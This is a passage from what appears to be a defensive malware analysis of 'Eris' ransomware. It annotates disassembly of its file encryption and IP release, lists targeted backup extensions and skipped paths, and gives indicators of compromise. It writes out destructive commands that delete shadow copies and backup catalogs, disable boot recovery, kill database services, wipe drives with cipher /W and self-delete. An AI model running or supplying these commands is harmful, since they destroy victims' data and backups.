0x005fecdc mov ecx, dword [slice_procs] 0x005fece3 cmp edx, ecx 0x005fece5 jge 0x5fe90b 0x005feceb mov dword [var_d4h], edx 0x005fecf2 lea ecx, [eax + edx*8] 0x005fecf5 mov ebx, dword [ecx] 0x005fecf7 mov dword [var_a4h], ebx 0x005fecfe mov ecx, dword [ecx + 4] 0x005fed01 mov dword [var_150h], ecx 0x005fed08 mov ebp, dword [ebx + 0x10] 0x005fed0b mov dword [esp], ecx 0x005fed0e call ebp 0x005fed10 mov eax, dword [var_4h] 0x005fed14 mov ecx, dword [var_8h] 0x005fed18 mov dword [esp], eax 0x005fed1b mov dword [var_4h], ecx 0x005fed1f mov eax, dword [0x874b38] ; List of strings 0x005fed25 mov ecx, dword [0x874b3c] ; 7 0x005fed2b mov edx, dword [0x874b40] ; 7 0x005fed31 mov dword [var_8h], eax 0x005fed35 mov dword [var_ch], ecx 0x005fed39 mov dword [var_10h], edx 0x005fed3d call fcn.Eris_Utils.Contains 0x005fed42 movzx eax, byte [var_14h] 0x005fed47 test al, al 0x005fed49 je 0x5feccb 0x005fed4b mov eax, dword [var_a4h] 0x005fed52 mov eax, dword [eax + 0x18] 0x005fed55 mov ecx, dword [var_150h] 0x005fed5c mov dword [esp], ecx 0x005fed5f call eax 0x005fed61 nop 0x005fed62 mov eax, dword [var_4h] 0x005fed66 mov dword [esp], eax 0x005fed69 call fcn.os.findProcess 0x005fed6e mov eax, dword [var_4h] 0x005fed72 mov ecx, dword [var_8h] 0x005fed76 test ecx, ecx 0x005fed78 jne 0x5feccb 0x005fed7e nop 0x005fed7f nop 0x005fed80 nop 0x005fed81 mov ecx, dword [0x874a48] 0x005fed87 mov edx, dword [0x874a4c] 0x005fed8d mov dword [esp], eax 0x005fed90 mov dword [var_4h], ecx 0x005fed94 mov dword [var_8h], edx 0x005fed98 call fcn.os___Process_.signal

Release of IP address

If the username ends with $, the IP address for the machine is released:

0x005fe90b lea eax, [0x67505a] ; "USERNAME" 0x005fe911 mov dword [esp], eax 0x005fe914 mov dword [var_4h], 8 0x005fe91c call fcn.os.Getenv 0x005fe921 mov eax, dword [var_8h] 0x005fe925 mov ecx, dword [var_ch] 0x005fe929 lea edx, [ecx - 1] 0x005fe92c cmp edx, ecx 0x005fe92e ja 0x5ff6a5 0x005fe934 mov dword [username_str], eax 0x005fe93b sub ecx, edx 0x005fe93d mov dword [username_str_len], ecx 0x005fe944 mov ebx, ecx 0x005fe946 neg ecx 0x005fe948 sar ecx, 0x1f 0x005fe94b and edx, ecx 0x005fe94d mov dword [var_d0h], edx 0x005fe954 cmp ebx, 1 0x005fe957 jne 0x5fe966 0x005fe959 movzx ecx, byte [edx + eax] 0x005fe95d cmp cl, 0x24 ; "$" 0x005fe960 je 0x5fec2d ... 0x005fec2d mov dword [var_190h], 0 0x005fec38 mov dword [var_194h], 0 0x005fec43 lea eax, sym.type.string 0x005fec49 mov dword [var_190h], eax 0x005fec50 lea ecx, [0x6cecb0] ; "ipconfig /release" 0x005fec56 mov dword [var_194h], ecx 0x005fec5d lea ecx, [0x674630] ; "/C %s" 0x005fec63 mov dword [esp], ecx 0x005fec66 mov dword [var_4h], 5 0x005fec6e lea edx, [var_190h] 0x005fec75 mov dword [var_8h], edx 0x005fec79 mov dword [var_ch], 1 0x005fec81 mov dword [var_10h], 1 0x005fec89 call fcn.fmt.Sprintf 0x005fec8e mov eax, dword [var_14h] 0x005fec92 mov ecx, dword [var_18h] 0x005fec96 lea edx, [0x674d1b] ; "cmd.exec" 0x005fec9c mov dword [esp], edx 0x005fec9f mov dword [var_4h], 7 0x005feca7 mov dword [var_8h], eax 0x005fecab mov dword [var_ch], ecx 0x005fecaf call fcn.Eris_Utils.Execute 0x005fecb4 jmp 0x5fe966

Encrypting files

The malware walks all the disks and encrypts the files. It can perform this process “multithreaded” if a command line flag is given. In this case, it uses one Go routine for each drive. The malware skips any folders containing the following strings:

windows

windows.old

system volume information

$recycle.bin

program files

program files (x86)

programdata

i386

amd64

sysvol

It also skip the following files:

autoexec.bat

boot.ini

ntdetect.com

msdos.sys

io.sys

pagefile.sys

ntldr

config.sys

ntuser.dat

If the file has _FLAG_ENCRYPTED_ at the end of the file, it is skipped.

Eris overwrites and deletes backup files with the following file extensions:

$$$, $db, 001, 001, 002, 003, 113, 73b, __a, __b, ab, aba, abbu, abf, abk, abu, abu1, acp, acr, adi, adi, aea, afi, arc, arc, as4, asd, ashbak, asv, asvx, ate, ati, ba6, ba7, ba8, bac, backup, backupdb, bak, bak, bak, bak, bak, bak2, bak3, bakx, bak~, bbb, bbz, bck, bckp, bcm, bdb, bff, bif, bifx, bk1, bk1, bkc, bkf, bkp, bkp, bkup, bkz, blend1, blend2, bm3, bmk, bookexport, bpa, bpb, bpm, bpn, bps, bup, bup, caa, cbk, cbs, cbu, cenon~, ck9, cmf, crds, csd, csm, da0, dash, dba, dbk, dbk, dim, diy, dna, dov, dpb, dsb, dss, fbc, fbf, fbk, fbk, fbu, fbw, fh, fhf, flka, flkb, fpsx, ftmb, ful, fwbackup, fza, fzb, gb1, gb2, gbp, gho, ghs, gs-bck, ibk, icbu, icf, inprogress, ipd, iv2i, j01, jbk, jdc, jpa, jps, kb2, lbf, lcb, llx, mbf, mbk, mbw, mdbackup, mddata, mdinfo, mem, mig, mpb, msim, mv_, mynotesbackup, nb7, nba, nbak, nbd, nbd, nbf, nbf, nbi, nbk, nbk, nbs, nbu, nco, nda, nfb, nfc, noy, npf, nps, nrbak, nrs, nwbak, obk, oeb, old, onepkg, ori, orig, oyx, paq, pba, pbb, pbd, pbf, pbf, pbj, pbx5script, pbxscript, pdb, pfi, pqb, pqb-backup, prv, psa, ptb, pvc, pvhd, qba.tlg, qbb, qbk, qbm, qbmb, qbmd, qbx, qic, qsf, qualsoftcode, quicken2015backup, quicken2016backup, quicken2017backup, quickenbackup, qv~, rbc, rbf, rbf, rbf, rbk, rbs, rdb, rgmb, rmbak, rrr, safenotebackup, sav, sbb, sbs, sbu, sdc, sim, sis, skb, sme, sn1, sn2, sna, sns, spf, spg, spi, sps, sqb, srr, stg, sv$, sv2i, tbk, tdb, tibkp, tib, tig, tis, tlg, tmp, tmp, tmr, trn, ttbk, uci, v2i, vbk, vbm, vbox-prev, vpcbackup, vrb, w01, walletx, wbb, wbcat, wbk, win, win, wjf, wpb, wspak, wx, xbk, xlk, yrcbck, zbfx, ~cw, vib, vkb

For each file a key is generated using PBKDF2. A random password is used with the salt of [0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8] and 1000 iterations. The key is encrypted with the victim’s public key:

0x0053fc13 mov ecx, dword [0x87a654] ; rngReader from crypto/rand package 0x0053fc19 mov edx, dword [0x87a650] 0x0053fc1f mov dword [esp], edx 0x0053fc22 mov dword [var_4h], ecx 0x0053fc26 mov dword [var_8h], eax 0x0053fc2a mov dword [var_ch], 0x20 ; 32 0x0053fc32 mov dword [var_10h], 0x20 ; 32 0x0053fc3a mov dword [var_14h], 0x20 ; 32 0x0053fc42 call fcn.io.ReadAtLeast 0x0053fc47 nop 0x0053fc48 lea eax, sym.type._8_uint8 0x0053fc4e mov dword [esp], eax 0x0053fc51 call fcn.runtime.newobject 0x0053fc56 mov eax, dword [var_4h] 0x0053fc5a mov ecx, dword [0x6ce388] 0x0053fc60 mov edx, dword [0x6ce38c] 0x0053fc66 mov dword [eax], ecx 0x0053fc68 mov dword [eax + 4], edx 0x0053fc6b mov ecx, dword [var_12ch] 0x0053fc72 mov dword [esp], ecx 0x0053fc75 mov dword [var_4h], 0x20 0x0053fc7d mov dword [var_8h], 0x20 0x0053fc85 mov dword [var_ch], eax 0x0053fc89 mov dword [var_10h], 8 0x0053fc91 mov dword [var_14h], 8 0x0053fc99 mov dword [var_18h], 0x3e8 ; 1000 0x0053fca1 mov dword [var_1ch], 8 0x0053fca9 lea eax, [0x68ae74] 0x0053fcaf mov dword [var_20h], eax 0x0053fcb3 call fcn.golang.org_x_crypto_pbkdf2.Key 0x0053fcb8 mov eax, dword [var_24h] 0x0053fcbc mov dword [var_108h], eax 0x0053fcc3 mov ecx, dword [var_2ch] 0x0053fcc7 mov dword [var_34h], ecx 0x0053fccb mov edx, dword [var_28h] 0x0053fccf mov dword [var_30h], edx 0x0053fcd3 mov ebx, dword [var_12ch] 0x0053fcda mov dword [esp], ebx 0x0053fcdd mov dword [var_4h], 0x20 0x0053fce5 mov dword [var_8h], 0x20 0x0053fced mov ebp, dword [arg_13ch] 0x0053fcf4 mov dword [var_ch], ebp 0x0053fcf8 mov ebp, dword [arg_140h] 0x0053fcff mov dword [var_10h], ebp 0x0053fd03 mov ebp, dword [arg_144h] 0x0053fd0a mov dword [var_14h], ebp 0x0053fd0e call fcn.Eris_Cryptography.RSAEncrypt

The file is encrypted with Salsa20 using the generated key for the file.

=== Preventing recovery ===

After encryption of the files, the following commands are executed:

taskkill.exe /f /im mysqld.exe taskkill.exe /f /im sqlwriter.exe taskkill.exe /f /im sqlserver.exe taskkill.exe /f /im MSExchange* taskkill.exe /f /im Microsoft.Exchange.* vssadmin delete shadows /all /quiet wmic shadowcopy delete wbadmin delete catalog -quiet bcdedit /set {default} bootstatuspolicy ignoreallfailures bcdedit /set {default} recoveryenabled no

Code for executing the commands:

0x005fe9a6 xor eax, eax 0x005fe9a8 jmp 0x5fea59 0x005fe9ad mov dword [var_cch], eax 0x005fe9b4 lea ecx, [esp + eax*8 + 0x200] 0x005fe9bb mov edx, dword [ecx] 0x005fe9bd mov ecx, dword [ecx + 4] 0x005fe9c0 mov dword [esp], edx 0x005fe9c3 mov dword [var_4h], ecx 0x005fe9c7 call fcn.runtime.convTstring 0x005fe9cc mov eax, dword [var_8h] 0x005fe9d0 mov dword [var_190h], 0 0x005fe9db mov dword [var_194h], 0 0x005fe9e6 lea ecx, sym.type.string 0x005fe9ec mov dword [var_190h], ecx 0x005fe9f3 mov dword [var_194h], eax 0x005fe9fa lea eax, [0x674630] ; "/C %s" 0x005fea00 mov dword [esp], eax 0x005fea03 mov dword [var_4h], 5 0x005fea0b lea edx, [var_190h] 0x005fea12 mov dword [var_8h], edx 0x005fea16 mov dword [var_ch], 1 0x005fea1e mov dword [var_10h], 1 0x005fea26 call fcn.fmt.Sprintf 0x005fea2b mov eax, dword [var_14h] 0x005fea2f mov ecx, dword [var_18h] 0x005fea33 lea edx, [0x674d1b] ; "cmd.exe" 0x005fea39 mov dword [esp], edx 0x005fea3c mov dword [var_4h], 7 0x005fea44 mov dword [var_8h], eax 0x005fea48 mov dword [var_ch], ecx 0x005fea4c call fcn.Eris_Utils.Execute 0x005fea51 mov eax, dword [var_cch] 0x005fea58 inc eax 0x005fea59 cmp eax, 0xa ; 10 0x005fea5c jl 0x5fe9ad

For each drive letter, the malware executes /C cipher /W:%DRIVE_LETTER%: to perform a secure wipe.

0x005fea62 call fcn.Eris_Utils.GetDrive 0x005fea67 mov eax, dword [esp] 0x005fea6a mov dword [var_16ch], eax 0x005fea71 mov ecx, dword [var_4h] 0x005fea75 mov dword [var_bch], ecx 0x005fea7c xor edx, edx 0x005fea7e jmp 0x5feb54 0x005fea83 mov dword [var_cch], edx 0x005fea8a mov dword [esp], ebp 0x005fea8d mov dword [var_4h], 1 0x005fea95 call fcn.strings.ToUpper 0x005fea9a mov eax, dword [var_8h] 0x005fea9e mov ecx, dword [var_ch] 0x005feaa2 mov dword [esp], eax 0x005feaa5 mov dword [var_4h], ecx 0x005feaa9 call fcn.runtime.convTstring 0x005feaae mov eax, dword [var_8h] 0x005feab2 mov dword [var_190h], 0 0x005feabd mov dword [var_194h], 0 0x005feac8 lea ecx, sym.type.string 0x005feace mov dword [var_190h], ecx 0x005fead5 mov dword [var_194h], eax 0x005feadc lea eax, [0x6775d1] ; "/C cipher /W:%s:" 0x005feae2 mov dword [esp], eax 0x005feae5 mov dword [var_4h], 0x10 0x005feaed lea edx, [var_190h] 0x005feaf4 mov dword [var_8h], edx 0x005feaf8 mov dword [var_ch], 1 0x005feb00 mov dword [var_10h], 1 0x005feb08 call fcn.fmt.Sprintf 0x005feb0d mov eax, dword [var_14h] 0x005feb11 mov ecx, dword [var_18h] 0x005feb15 lea edx, [0x674d1b] ; "cmd.exe" 0x005feb1b mov dword [esp], edx 0x005feb1e mov dword [var_4h], 7 0x005feb26 mov dword [var_8h], eax 0x005feb2a mov dword [var_ch], ecx 0x005feb2e call fcn.Eris_Utils.Execute

Self-removal

Finally the malware spawns a new process and exits. The spawned process first pings localhost to create a delay before it deletes the malware’s binary file.

%WINDIR%\system32\cmd.exe /C ping 127.0.0.1 -n 3 > NUL && del /Q /F "%ERIS_FILE%"

IOCs

Pay panel

epaybfvlutydks6fpfwtwoe2fsph6vve2obgv6qbhyuqwkecbhsf7nyd.onion

C2

d9d120a3.ngrok.io

Hashes

2c7f9fbfd5421406bc88b62a70a570eada14d4a561689125dc8f3ef30e3afc91

33f54f227c26c5abdbe5e0f994082d5b89e1df145deef703948aeb268637d9ba

35fb8b1f9966d7d371cb4d513e3d63655c2357be8ef156850fe8927b13007c9e

48da454be70e5f12c359965cfb55cbe5f272ddc378ae9f08876faf1b510c21b6

99d19dd82330a1c437a64e7ca9896ad9d914de10c4f7aa2222b1a5bc4750f692

d0d6fdd6ce8eccf722c8ee72485ae96c2fe0e2fe9e451c94454f1e8be9d9283b

dcdf47ddca1c5f4f9bdd8528bc3e22031fbfd326ad0b4abc11e153bbd79363ec

Download STIX 2 bundle or MISP package here.